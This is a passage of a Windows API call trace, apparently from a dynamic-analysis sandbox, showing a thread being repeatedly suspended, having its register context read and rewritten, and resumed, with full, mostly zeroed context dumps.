Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0080.669] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111ab0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0080.765] ResumeThread (hThread=0x118) returned 0x1
[0080.765] CloseHandle (hObject=0x118) returned 1
[0080.765] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0080.935] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0080.977] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0081.068] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0081.159] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0081.159] SuspendThread (hThread=0x118) returned 0x0
[0081.159] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001114c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x135a5a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0081.328] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001114c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0081.411] ResumeThread (hThread=0x118) returned 0x1
[0081.411] CloseHandle (hObject=0x118) returned 1
[0081.411] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0081.448] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0081.483] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0081.561] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0081.638] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0081.638] SuspendThread (hThread=0x118) returned 0x0
[0081.638] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000110ff0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1357460, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0081.744] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000110fe8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, 